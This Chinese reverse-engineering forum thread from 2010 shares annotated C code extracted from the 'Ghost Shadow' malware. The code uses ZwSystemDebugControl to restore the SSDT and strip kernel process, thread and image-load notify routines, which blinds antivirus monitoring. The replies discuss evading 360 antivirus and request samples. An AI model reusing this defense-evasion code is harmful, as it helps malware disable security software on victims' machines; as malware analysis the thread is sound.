首页
社区
课程
招聘
[分享]鬼影里的ZwSystemDebugControl
发表于: 2010-3-22 14:56 18869

[分享]鬼影里的ZwSystemDebugControl

2010-3-22 14:56
18869
/***************************************************************************************
*
*    分析了一下“鬼影”病毒,从里面扒了段代码出来。
*
*    该段代码调用 ZwDebugSystemControl 在 Ring3 恢复 SSDT,并摘除
*    PsSetLoadImageNotifyRoutine、PsSetCreateProcessNotifyRoutine、
*    PsSetCreateThreadNotifyRoutine 三个钩子。
*
*    代码里 bug 较多,我用注释标示出来了,保留原味儿,未做修改。
*
*    逆向 by Fypher
*    http://hi.baidu.com/nmn714
*
****************************************************************************************/
BOOL Ring3Unhook(IN BOOL bArg) { // bArg 为 0 时只恢复SSDT,不摘PsSetXXXNotifyRoutine钩子
	// 先提权
	HANDLE hToken;
	LUID luid;
	TOKEN_PRIVILEGES tkp;
	if (OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, &hToken) ) {
		if (LookupPrivilegeValue(0, "SeDebugPrivilege", &luid)) {
			tkp.Privileges[0].Luid.LowPart = luid.LowPart;
			tkp.Privileges[0].Luid.HighPart = luid.HighPart;
			tkp.PrivilegeCount = 1;
			tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			AdjustTokenPrivileges(hToken, FALSE, &tkp, 0x10, NULL, 0);
		}
	}
	CloseHandle(hObject);	// 此处有bug

	// 获取所需函数,应该检查一下返回值
	char strProcName[32] = "ZwSystemDebugControl";
	HMODULE hNtdll = GetModuleHandle("ntdll");
	ZWSYSTEMDEBUGCONTROL ZwSystemDebugControl = GetProcAddress(hNtdll, strProcName);

	strcpy(strProcName, "NtQuerySystemInformation");
	NTQUERYSYSTEMINFORMATION NtQuerySystemInformation = GetProcAddress(hNtdll, strProcName);

	// 查询系统模块信息
	ULONG ulRet = 0;
	NTSTATUS status;
	
	status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &ulRet);
	if (status != STATUS_INFO_LENGTH_MISMATCH)
		return 0;
	
	// 这里写得不好,没有检查返回值,并且用 heap 类函数快得多
	HLOCAL hlocal = LocalAlloc(LPTR, ulRet);	
	
	status = NtQuerySystemInformation(SystemModuleInformation, hlocal, ulRet, &ulRet)) 
		return 0;	// 此处有资源泄露,应该释放 hlocal

	// WS的方式把 ntoskrnl 的真名找到了
	PSYSTEM_MODULE_INFORMATION pSysModInfo = (PSYSTEM_MODULE_INFORMATION)((ULONG)hlocal + 4);
    char* pstrNtoskrnl = pSysModInfo->ModuleNameOffset + pSysModInfo->ImageName;
	
	HMODULE hNtoskrnl = LoadLibraryEx(pstrNtoskrnl, 0, DONT_RESOLVE_DLL_REFERENCES);
	if (!hNtoskrnl)
		return 0;	// 此处有资源泄露,应该释放 hlocal

	// 准备恢复SSDT
	strcpy(strProcName, "KeServiceDescriptorTable");
	
	ULONG ulSSDToffset = (ULONG)GetProcAddress(hNtoskrnl, &ProcName) - (ULONG)hNtoskrnl;
	ULONG ulNtoskrnlBase = (ULONG)hNtoskrnl & 0xFFFFFFFE;		// 取得基址,多余操作

	
	ULONG ulPEHdr = *(PULONG)(ulNtoskrnlBase + 0x3C) + ulNtoskrnlBase;	// 取PE头
	ULONG ulImageBase =  *(PULONG)(ulPEHdr + 52);	// 取 ImageBase
	ULONG ulSSDTAddr =  ulImageBase + ulSSDToffset;
	
	MEMORY_CHUNKS QueryBuff;
	QueryBuff.Address = (ULONG)ulSSDTAddr;

	ULONG ulSizeOfImage = *(PULONG)(ulPEHdr + 80);	// 取 SizeOfImage

	PVOID lpAddress;
	int i = 0;
	if (ulSizeOfImage) {
		while (1) {
			lpAddress = (LPVOID)(ulNtoskrnlBase + i);
			// 寻找  mov ds:KeServiceDescriptorTable, xxxxxxxx
			// 特征码 C7 05 SSDT xxxx
			if (*(PULONG)(lpAddress) == ulSSDTAddr ) {
				if ( *(WORD *)(lpAddress - 2) == 0x5C7 )
					break;
			}
			++i;
			if (i >= ulSizeOfImage)
				break;
		}
		if (i <ulSizeOfImage)
			QueryBuff.Address = *((PULONG)lpAddress + 1);
	}

	if (i == ulSizeOfImage) {
		return 0;	// 此处有资源泄露,应该释放 hNtoskrnl 和 hLocal
	}
	else {	// 此处有bug, i > ulSizeOfImage后程序会流向此处
		PULONG FunAddr = (PULONG)( QueryBuff.Address + (ULONG)hNtoskrnl - ulImageBase);
		DWORD dwOldProtect = 0;
		VirtualProtect(FunAddr, 0x1000, PAGE_READWRITE, &dwOldProtect);	// 这里应该检查返回值
		int num = 280;	// 这里写得不好,函数个数应该动态获取
		
		do {
			FunAddr[num] += (ULONG)pSysModInfo->Base - ulImageBase;
			--num;
		} while (num >= 0);
    
		// 恢复SSDT
		DWORD dwRet;
		QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
		QueryBuff.Data = FunAddr;
		QueryBuff.Length = 1120;	// 这里写得不好,函数个数应该动态获取
		status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);

		if ( bArg ) {	// 根据参数决定是否摘除 PsSetxxxNotifyRoutine 钩子

			// 准备摘掉 PsSetLoadImageNotifyRoutine 的钩子
			strcpy(strProcName, "PsSetLoadImageNotifyRoutine");
			ULONG ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);
			
			QueryBuff.Address = ulProcAddr;
			if ( *(WORD *)ulProcAddr != 0xCCCC ) {	// 此处有bug
				do {
					++ulProcAddr;
				} while ( *(WORD *)ulProcAddr != 0xCCCC );
				
				while (ulProcAddr > QueryBuff.Address ) {
					// 寻找 PsImageNotifyEnabled
					// mov ds:_PsImageNotifyEnabled, 1,特征码C6 05 xx xx xx xx 01。
					if (*(WORD *)ulProcAddr == 0x5C6 && *((_BYTE *)ulProcAddr + 6) == 1 ) {
						ULONG ulPsImageNotifyEnabledAddr = *(PULONG)(ulProcAddr + 2);

						// 将 PsImageNotifyEnabled 置 0, 摘掉 ImageNotifyEnabled 钩子
						int buff = 0;
						QueryBuff.Address = ulPsImageNotifyEnabledAddr + (ULONG)pSysModInfo->Base - ulImageBase;
						QueryBuff.Data = &buff
						QueryBuff.Length = 1;
						status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
						break;
					}
					--ulProcAddr;
				}
			}

			// 同理摘掉 PsSetCreateProcessNotifyRoutine 的钩子
			strcpy(strProcName, "PsSetCreateProcessNotifyRoutine");
			ulProcAddr = (ULONG)GetProcAddress(hNtoskrnl, &strProcName);

			QueryBuff.Address = ulProcAddr;
			if ( QueryBuff.Address < QueryBuff.Address + 256 ) {
				// 找函数出口,retn 8
				while ( *(WORD *)ulProcAddr != 0x8C2 || *(BYTE *)(ulProcAddr + 2) ) {
					++ulProcAddr;
					if (ulProcAddr >= QueryBuff.Address + 256)
						break;
				}

				while ( ulProcAddr < QueryBuff.Address + 256 ) {
					// 寻找mov xx, offset _PspCreateProcessNotifyRoutineCount
					if ((*(BYTE *)ulProcAddr & 0xF8) == 0xB8) {
						if (*(PULONG)(ulProcAddr + 1) > 0x400000) {	// 取得_PspCreateProcessNotifyRoutineCount
							int buff = 0;
							QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
							QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
							QueryBuff.Data = &buff;
							QueryBuff.Length = 4;
							status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
							break;
              			}
						ulProcAddr += 4;
					}
					++ulProcAddr;
				}
			}
			// 同理摘掉 PsSetCreateThreadNotifyRoutine 的钩子, 不解释了
			strcpy(strProcName, "PsSetCreateThreadNotifyRoutine");
			ulProcAddr = GetProcAddress(hNtoskrnl, &strProcName);
			QueryBuff.Address = ulProcAddr;
			while (1) {
				if (ulProcAddr >= QueryBuff.Address + 256)
					break;
				if (*(WORD *)ulProcAddr == 0x4C2 && !*((BYTE *)ulProcAddr + 2))
					break;
				++ulProcAddr;
			}
			for (ULONG addr = ulProcAddr + 3; addr < QueryBuff.Address + 256; ++addr) {
				if ((*(BYTE *)addr & 0xF8) == 0xB8) {
					if (*(PULONG)(addr + 1) > 0x400000) {
						int buff = 0;
						QueryBuff.Address = *(PULONG)(ulProcAddr + 1);
						QueryBuff.Address = QueryBuff.Address + (ULONG)pSysModInfo->Base - ulImageBase;
						QueryBuff.Data = &buff;
						QueryBuff.Length = 4;
						status = ZwSystemDebugControl(SysDbgWriteVirtualMemory, &QueryBuff, sizeof(QueryBuff), NULL, 0, &dwRet);
						break;
					}
					addr += 4;
				}
			}
		}
		FreeLibrary(hNtoskrnl);
		return NT_SUCCESS(status);	// 此处有资源泄露,应该释放 hlocal
	}
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (23)
雪    币: 284
活跃值: (106)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
2
谢谢分享……这个方法在vista以上应该是用不了吧?
2010-3-22 18:19
0
雪    币: 123
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
vista和win7上,啥都不好使,除非能突破UAC。没有管理员权限,连改注册表的loacl machine都改不了
2010-3-22 18:41
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
4
vista和WIN7下即使突破了UAC也不能用SYSDBGCTL,SYSDBGCTL在VISTA后需要驱动才能调用。

楼主这个程序也是啥用没用,装上360,SYSDBGCTL完全无效~
2010-3-22 19:07
0
雪    币: 434
活跃值: (72)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
楼主太牛了,崇拜中...............................................
2010-3-22 19:20
0
雪    币: 636
活跃值: (174)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
6
vista和win7上用不了,XP过后ZwSystemDebugControl就用不了了。
2010-3-22 20:01
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
7
ZwSystemDebugControl可以用的,只是没这么强大而已~XX一下版本还是可以的。
2010-3-22 21:25
0
雪    币: 324
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
ZwDebugSystemControl过时了,MS早不上了
2010-3-23 09:39
0
雪    币: 220
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
膜拜啊,学习一下
2010-3-23 16:35
0
雪    币: 201
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
怪不得鬼影不搞WIN7呢,原来是搞不了啊
2010-4-4 11:04
0
雪    币: 189
活跃值: (4810)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
360 的部分软件不太可信, 我在多间网吧试过了, 一点用也没有......也向你们相关的技术员反映过, 但从谈话中发现, 他不是编程方面的技术人员,只是个会软件使用之类的,不能解决问题,不知他“反映”方面的工作有没做好....
2010-4-4 18:47
0
雪    币: 207
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
谢谢分享                          
2010-4-5 23:35
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
360。。。。。。
话说我给几个公司维护的电脑中,凡是装360的全部挂掉了。。。不知道那个病毒叫什么名字,会修改sound.dll的那个。

倒是装其它杀软的都没有中。难道这个是专门针对360的。
2010-4-5 23:55
0
雪    币: 1602
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
针对360  也不奇怪 ,我看好多人都在问怎么过360.不知道是杀毒还是卫士
2010-4-6 10:51
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
顶起,终于看到分析鬼影的帖了
2010-4-7 11:45
0
雪    币: 177
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
汗,算了,刚刚回帖时候没仔细看,发现不是我想看的代码,有空还是自己分析关键部分吧~
2010-4-7 11:47
0
雪    币: 235
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
nt里面
mov     ds:_KeServiceDescriptorTable, offset _KiServiceTable
2010-4-9 11:13
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
LZ可否发份样本给我,多谢。我的邮箱是:cywl1228@163.com
2010-4-9 15:32
0
雪    币: 90
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
楼主可以给我一份分析一下吗
   QQ:896883233@qq.com
2010-4-10 20:10
0
雪    币: 135
活跃值: (22)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
国内XP用户还是超过70%吧?
2010-4-11 21:35
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
又见鬼影,实际上都是人吓人

哪有那么严重
2010-4-11 21:57
0
雪    币: 145
活跃值: (148)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
貌似关键部分和几年以前开源的差不多...
2010-4-13 20:25
0
雪    币: 1098
活跃值: (193)
能力值: (RANK:210 )
在线值:
发帖
回帖
粉丝
23


装上了360的话,它就不会调用这个函数了的。
而是用另外的方法来对付360的。
上传的附件:
  • 1.jpg (31.69kb,210次下载)
2010-5-22 17:34
0
雪    币: 445
活跃值: (52)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
24
直接操作NTFS和FAT32不是更方便?
2010-12-14 11:50
0
游客
登录 | 注册 方可回帖
返回
//